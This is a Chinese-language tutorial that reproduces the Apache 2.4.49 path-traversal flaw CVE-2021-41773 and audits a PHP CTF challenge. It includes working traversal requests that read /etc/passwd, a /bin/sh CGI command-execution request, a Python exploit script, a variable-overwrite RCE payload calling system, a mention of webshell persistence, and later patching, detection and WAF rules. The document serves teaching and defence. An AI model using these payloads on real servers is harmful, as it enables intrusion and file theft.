CVE-2021-41773 Apache 2.4.49 路径穿越漏洞:3步复现与PHP代码审计实战 CVE-2021-41773 Apache路径穿越漏洞深度解析与PHP代码审计实战当Apache HTTP Server 2.4.49版本发布时开发者们未曾预料到一个简单的路径规范化优化会引发严重的安全漏洞。这个编号为CVE-2021-41773的漏洞不仅允许攻击者穿越目录访问受限文件更因其与PHP代码的交互特性为安全研究提供了绝佳的分析样本。1. 漏洞环境构建与原理剖析1.1 漏洞环境快速搭建要复现这个经典漏洞我们需要准备以下基础环境# 使用Docker快速部署漏洞环境 docker run -dit --name apache2449 -p 8080:80 -v /path/to/cgi-bin:/usr/local/apache2/cgi-bin httpd:2.4.49关键配置验证点确保httpd.conf中Require all granted已启用检查Options ExecCGI是否在CGI目录配置中确认mod_cgi模块已加载1.2 漏洞原理深度解析Apache 2.4.49版本在路径规范化处理时存在逻辑缺陷具体表现为版本路径检查函数规范化处理安全机制2.4.48严格校验../完全拒绝多层防护2.4.49部分校验错误解码存在缺陷漏洞触发流程请求包含编码后的路径遍历序列如.%2e/Apache错误解码后未正确校验路径绕过访问限制访问系统文件典型攻击向量GET /cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.12. 漏洞复现实战三部曲2.1 基础文件读取验证使用curl进行初步验证curl -v http://target:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd预期结果应返回目标系统的passwd文件内容。若返回403状态需检查CGI目录权限设置SELinux/AppArmor限制文件系统实际路径2.2 CGI脚本执行突破当CGI目录存在可执行脚本时漏洞危害升级# 保存为/test-cgi #!/bin/sh echo Content-type: text/plain echo echo Script executed with args: $QUERY_STRING攻击者可构造特殊请求执行任意命令GET /cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh?cmdid HTTP/1.12.3 综合渗透测试案例完整攻击链演示信息收集nmap -sV -p 8080 --script http-vuln-cve2021-41773 target漏洞利用import requests payload /cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd response requests.get(fhttp://target:8080{payload}) print(response.text)权限提升 通过写入webshell或crontab实现持久化3. PHP代码审计实战3.1 靶场代码结构分析以GFCTF 2021 Baby_Web为例关键文件结构/var/www/ ├── index.php ├── Class.php └── template/ ├── admin/ │ └── index.html └── index.html核心危险函数array_merge()不当使用导致变量覆盖extract()将数组键值转为变量call_user_func()动态函数调用风险3.2 变量覆盖漏洞链构造漏洞触发路径分析入口点index.php接收用户可控参数对象初始化Temp类构造函数处理POST数据方法调用display()触发模板包含RCE达成通过listdata()实现命令执行关键代码片段// Class.php中的危险方法 public function display($template, $space) { extract($this-date); // 变量覆盖关键点 $this-getTempName($template, $space); include($this-template); // 文件包含触发点 }3.3 完整攻击Payload构建分步构造RCE payload控制模板路径POST /index.php?filenameindex.html HTTP/1.1 Content-Type: application/x-www-form-urlencoded spaceadmintemplateindex.html注入执行参数modactionfunction namesystem param0id最终组合攻击params { space: admin, mod: actionfunction namesystem param0id } requests.post(http://target/index.php, dataparams)4. 防御方案与最佳实践4.1 即时修复措施Apache服务端立即升级到2.4.51或更高版本临时缓解方案LocationMatch ^/cgi-bin Require all denied /LocationMatchPHP开发规范禁用危险函数disable_functions extract,parse_str,assert,system严格类型校验if (!is_string($input)) { throw new InvalidArgumentException(...); }4.2 安全开发建议输入验证矩阵输入类型验证方法示例文件路径realpath检查if(realpath($path)!false){...}函数名白名单校验$allowed [htmlspecialchars];模板参数后缀限制if(!preg_match(/\.html$/, $tpl)){...}安全函数替换方案危险函数安全替代备注extract()显式赋值$var $array[key];array_merge()数组相加$safe $defaults $input;include()文件映射$templates [homehome.html];4.3 监控与检测方案日志监控规则示例# 检测路径遍历尝试 grep -E (\.\./|%2e%2e/) /var/log/apache2/access.log # 检测异常CGI执行 awk $7 ~ /cgi-bin/ $9 ! 200 /var/log/apache2/access.logWAF规则建议rule id1001 descriptionBlock path traversal attempts/description conditionREQUEST_URI|MATCHES_CD|(?:%2e|\.){2}//condition actiondeny/action /rule在真实渗透测试项目中我曾遇到一个有趣案例某系统虽然修复了Apache漏洞但因PHP代码中残留的extract()调用导致通过其他参数仍可实现变量覆盖。这提醒我们安全防御需要多层次、全方位的考量。